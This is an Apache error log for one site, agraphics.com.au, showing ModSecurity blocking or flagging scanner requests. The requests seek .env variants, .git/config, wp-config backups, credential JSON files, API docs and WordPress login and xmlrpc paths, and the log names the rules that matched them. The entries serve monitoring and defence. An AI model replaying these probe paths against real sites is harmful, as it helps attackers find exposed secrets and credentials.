[Tue Jan 06 16:31:16.328930 2026] [:error] [pid 44903:tid 44919] [client 185.177.72.30:55196] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aVzIVNhHqjs38zbkQPDaMQAAAAw"]
[Tue Jan 06 16:31:18.121238 2026] [:error] [pid 45959:tid 45974] [client 185.177.72.30:55200] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aVzIVlajdn8P3hjgMYx1QwAAAUw"]
[Tue Jan 06 16:31:20.031848 2026] [:error] [pid 45012:tid 45027] [client 185.177.72.30:55204] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aVzIWBaMAxCuju1d0uavswAAAM0"]
[Tue Jan 06 16:31:22.060040 2026] [:error] [pid 44903:tid 44917] [client 185.177.72.30:55208] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aVzIWthHqjs38zbkQPDaMgAAAAo"]
[Tue Jan 06 16:31:23.996827 2026] [:error] [pid 44903:tid 44913] [client 185.177.72.30:55224] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aVzIW9hHqjs38zbkQPDaNAAAAAY"]
[Tue Jan 06 16:31:25.740188 2026] [:error] [pid 45959:tid 45962] [client 185.177.72.30:43878] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "aVzIXVajdn8P3hjgMYx1TQAAAUA"]
[Tue Jan 06 16:31:27.703765 2026] [:error] [pid 44903:tid 44921] [client 185.177.72.30:43890] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aVzIX9hHqjs38zbkQPDaQAAAAA4"]
[Tue Jan 06 16:31:31.705816 2026] [:error] [pid 44903:tid 44907] [client 185.177.72.30:43900] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "aVzIY9hHqjs38zbkQPDaRgAAAAA"]
[Tue Jan 06 16:31:39.238272 2026] [proxy_fcgi:error] [pid 45959:tid 45962] [client 185.177.72.30:44442] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 16:31:41.018223 2026] [proxy_fcgi:error] [pid 45012:tid 45036] [client 185.177.72.30:44452] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 16:31:42.407786 2026] [proxy_fcgi:error] [pid 45959:tid 45980] [client 185.177.72.30:44458] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 16:31:44.015298 2026] [proxy_fcgi:error] [pid 45959:tid 45965] [client 185.177.72.30:44464] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 16:31:45.855007 2026] [proxy_fcgi:error] [pid 45012:tid 45029] [client 185.177.72.30:56496] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 16:31:47.900703 2026] [proxy_fcgi:error] [pid 45012:tid 45019] [client 185.177.72.30:56512] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 16:31:57.978418 2026] [:error] [pid 44904:tid 44946] [client 185.177.72.30:21826] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/secrets.json"] [unique_id "aVzIfTtieuI1BJEZcvf4AAAAAEU"]
[Tue Jan 06 16:31:59.907508 2026] [:error] [pid 45959:tid 45972] [client 185.177.72.30:21832] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/credentials.json"] [unique_id "aVzIf1ajdn8P3hjgMYx1cAAAAUo"]
[Tue Jan 06 16:32:02.091440 2026] [:error] [pid 45959:tid 45985] [client 185.177.72.30:21840] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/appsettings.json"] [unique_id "aVzIglajdn8P3hjgMYx1cwAAAVc"]
[Tue Jan 06 16:32:03.998788 2026] [:error] [pid 44904:tid 44954] [client 185.177.72.30:21842] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/application.yml"] [unique_id "aVzIgztieuI1BJEZcvf4DAAAAE0"]
[Tue Jan 06 16:32:05.913838 2026] [:error] [pid 45012:tid 45032] [client 185.177.72.30:9096] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.yaml"] [unique_id "aVzIhRaMAxCuju1d0uav2wAAANI"]
[Tue Jan 06 16:32:07.423091 2026] [:error] [pid 45959:tid 45970] [client 185.177.72.30:9112] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php.bak"] [unique_id "aVzIh1ajdn8P3hjgMYx1ewAAAUg"]
[Tue Jan 06 16:32:09.525992 2026] [:error] [pid 45959:tid 45971] [client 185.177.72.30:9120] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php.bak"] [unique_id "aVzIiVajdn8P3hjgMYx1ggAAAUk"]
[Tue Jan 06 16:32:11.348030 2026] [:error] [pid 45012:tid 45022] [client 185.177.72.30:9124] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.js"] [unique_id "aVzIixaMAxCuju1d0uav3gAAAMg"]
[Tue Jan 06 16:32:12.972379 2026] [:error] [pid 45959:tid 45979] [client 185.177.72.30:9138] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.json"] [unique_id "aVzIjFajdn8P3hjgMYx1hwAAAVE"]
[Tue Jan 06 16:32:14.885764 2026] [:error] [pid 45012:tid 45031] [client 185.177.72.30:52642] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aVzIjhaMAxCuju1d0uav4AAAANE"]
[Tue Jan 06 16:32:16.801664 2026] [:error] [pid 35140:tid 35156] [client 185.177.72.30:52650] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aVzIkHoQaIDFMbT-XMyWoQAAAQ4"]
[Tue Jan 06 16:32:22.541492 2026] [:error] [pid 44904:tid 44942] [client 185.177.72.30:52658] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.gitconfig"] [unique_id "aVzIljtieuI1BJEZcvf4HQAAAEE"]
[Tue Jan 06 16:32:24.086611 2026] [:error] [pid 45012:tid 45017] [client 185.177.72.30:52660] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger.json"] [unique_id "aVzImBaMAxCuju1d0uawKQAAAMM"]
[Tue Jan 06 16:32:26.069501 2026] [:error] [pid 35140:tid 35147] [client 185.177.72.30:17014] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/swagger/v1/swagger.json"] [unique_id "aVzImnoQaIDFMbT-XMyWpQAAAQU"]
[Tue Jan 06 16:32:29.890160 2026] [:error] [pid 44904:tid 44942] [client 185.177.72.30:17026] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api-docs"] [unique_id "aVzInTtieuI1BJEZcvf4MwAAAEE"]
[Tue Jan 06 16:32:31.969040 2026] [:error] [pid 44904:tid 44947] [client 185.177.72.30:17038] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api-docs.json"] [unique_id "aVzInztieuI1BJEZcvf4NwAAAEY"]
[Tue Jan 06 16:32:33.480303 2026] [:error] [pid 45012:tid 45025] [client 185.177.72.30:17046] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/openapi.json"] [unique_id "aVzIoRaMAxCuju1d0uawPwAAAMs"]
[Tue Jan 06 16:32:35.425611 2026] [:error] [pid 45959:tid 45979] [client 185.177.72.30:18550] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v1/api-docs"] [unique_id "aVzIo1ajdn8P3hjgMYx1swAAAVE"]
[Tue Jan 06 16:32:39.194479 2026] [:error] [pid 45959:tid 45968] [client 185.177.72.30:18558] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api/swagger.json"] [unique_id "aVzIp1ajdn8P3hjgMYx1twAAAUY"]
[Tue Jan 06 16:32:40.362820 2026] [:error] [pid 44905:tid 44971] [client 185.177.72.30:18568] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/@fs/.vite/development.yml"] [unique_id "aVzIqLu7ufwWVst9EAuedgAAAIM"]
[Tue Jan 06 16:32:41.812608 2026] [:error] [pid 45012:tid 45031] [client 185.177.72.30:18584] [client 185.177.72.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aVzIqRaMAxCuju1d0uawQwAAANE"]
[Tue Jan 06 18:37:54.504184 2026] [proxy_fcgi:error] [pid 45959:tid 45968] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 18:37:54.631940 2026] [proxy_fcgi:error] [pid 45959:tid 45979] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 18:37:54.764297 2026] [proxy_fcgi:error] [pid 45959:tid 45978] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 18:37:54.896258 2026] [proxy_fcgi:error] [pid 45959:tid 45966] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 18:37:55.041646 2026] [proxy_fcgi:error] [pid 45959:tid 45967] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 18:37:55.172063 2026] [proxy_fcgi:error] [pid 45959:tid 45977] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 18:37:55.296961 2026] [proxy_fcgi:error] [pid 45959:tid 45971] [client 52.175.145.68:20021] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 23:19:38.148313 2026] [:error] [pid 45959:tid 45985] [client 4.247.167.136:4440] [client 4.247.167.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aV0oClajdn8P3hjgMYwYvAAAAVc"]
[Wed Jan 07 03:52:57.324685 2026] [:error] [pid 6572:tid 6663] [client 102.64.223.133:56781] [client 102.64.223.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.64.223.133, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aV1oGXVZKKyUNbqWyYIcxAAAAJc"]
[Wed Jan 07 03:52:57.338326 2026] [proxy_fcgi:error] [pid 6572:tid 6663] [client 102.64.223.133:56781] AH01071: Got error 'Primary script unknown'
[Wed Jan 07 08:02:27.649021 2026] [:error] [pid 30720:tid 30730] [client 195.178.110.57:57943] [client 195.178.110.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aV2ik4dgcpQjqzUi9WbvVAAAAUg"]
[Wed Jan 07 09:48:03.246404 2026] [:error] [pid 30633:tid 30682] [client 125.160.119.92:60556] [client 125.160.119.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 125.160.119.92, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aV27U_ZiVWlF7303nMgn2wAAAFM"], referer: https://www.google.com
[Wed Jan 07 09:48:03.258644 2026] [proxy_fcgi:error] [pid 30633:tid 30682] [client 125.160.119.92:60556] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Wed Jan 07 09:57:10.182792 2026] [:error] [pid 58294:tid 58304] [client 125.160.119.92:56200] [client 125.160.119.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 125.160.119.92, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp/wp-login.php"] [unique_id "aV29dlfzA7c0ITpf3nGY-gAAAIg"], referer: https://www.google.com
[Wed Jan 07 10:03:56.564018 2026] [:error] [pid 30634:tid 30691] [client 125.160.119.92:57078] [client 125.160.119.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 125.160.119.92, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "aV2_DICIPBibObtmZttoUQAAAME"], referer: https://www.google.com
[Wed Jan 07 14:37:21.290379 2026] [:error] [pid 30720:tid 30727] [client 195.178.110.161:58638] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aV3_IYdgcpQjqzUi9WZJjgAAAUU"]
[Wed Jan 07 15:01:45.201851 2026] [:error] [pid 30634:tid 30690] [client 195.178.110.161:56284] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aV4E2YCIPBibObtmZtu69gAAAMA"]
[Wed Jan 07 16:19:44.263607 2026] [:error] [pid 30720:tid 30739] [client 192.42.116.182:28908] [client 192.42.116.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.42.116.182, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aV4XIIdgcpQjqzUi9WZfeQAAAVE"]
[Wed Jan 07 16:19:44.274968 2026] [proxy_fcgi:error] [pid 30720:tid 30739] [client 192.42.116.182:28908] AH01071: Got error 'Primary script unknown'
[Wed Jan 07 16:19:45.308002 2026] [:error] [pid 30720:tid 30738] [client 45.80.158.165:52212] [client 45.80.158.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.80.158.165, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aV4XIYdgcpQjqzUi9WZffAAAAVA"]
[Wed Jan 07 16:19:45.312233 2026] [proxy_fcgi:error] [pid 30720:tid 30738] [client 45.80.158.165:52212] AH01071: Got error 'Primary script unknown'
[Wed Jan 07 16:22:39.570944 2026] [:error] [pid 30633:tid 30685] [client 159.223.72.96:63303] [client 159.223.72.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.72.96, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aV4Xz_ZiVWlF7303nMhy7gAAAFY"]
[Wed Jan 07 16:22:39.581613 2026] [proxy_fcgi:error] [pid 30633:tid 30685] [client 159.223.72.96:63303] AH01071: Got error 'Primary script unknown'
[Wed Jan 07 16:22:41.537610 2026] [:error] [pid 30633:tid 30671] [client 159.223.72.96:63303] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aV4X0fZiVWlF7303nMhy-QAAAEg"]
[Wed Jan 07 16:22:41.879006 2026] [:error] [pid 30633:tid 30670] [client 159.223.72.96:64609] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aV4X0fZiVWlF7303nMhy-gAAAEc"]
[Wed Jan 07 16:22:42.225842 2026] [:error] [pid 58294:tid 58307] [client 159.223.72.96:64748] [client 159.223.72.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aV4X0lfzA7c0ITpf3nH5fQAAAIs"]
[Wed Jan 07 19:42:16.081198 2026] [autoindex:error] [pid 51128:tid 51135] [client 167.71.90.72:60120] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 07 22:16:38.886441 2026] [:error] [pid 50905:tid 50928] [client 182.253.238.235:52170] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aV5qxmpNgk5-gt30I7aVmgAAAlU"]
[Wed Jan 07 22:16:40.429700 2026] [:error] [pid 30634:tid 30691] [client 182.253.238.235:53199] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aV5qyICIPBibObtmZtsT5AAAAME"]
[Wed Jan 07 22:16:41.058122 2026] [:error] [pid 50905:tid 50911] [client 182.253.238.235:53529] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aV5qyWpNgk5-gt30I7aVpgAAAkQ"]
[Wed Jan 07 22:16:41.671110 2026] [:error] [pid 30634:tid 30708] [client 182.253.238.235:53852] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aV5qyYCIPBibObtmZtsT8AAAANI"]
[Wed Jan 07 22:16:42.950940 2026] [:error] [pid 30634:tid 30695] [client 182.253.238.235:54341] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aV5qyoCIPBibObtmZtsT-AAAAMU"]
[Wed Jan 07 22:16:43.587199 2026] [:error] [pid 30633:tid 30678] [client 182.253.238.235:54648] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aV5qy_ZiVWlF7303nMi_QgAAAE8"]
[Wed Jan 07 22:16:44.200563 2026] [:error] [pid 50936:tid 50950] [client 182.253.238.235:54889] [client 182.253.238.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aV5qzLDlg80QUdd5qc4amQAAAow"]
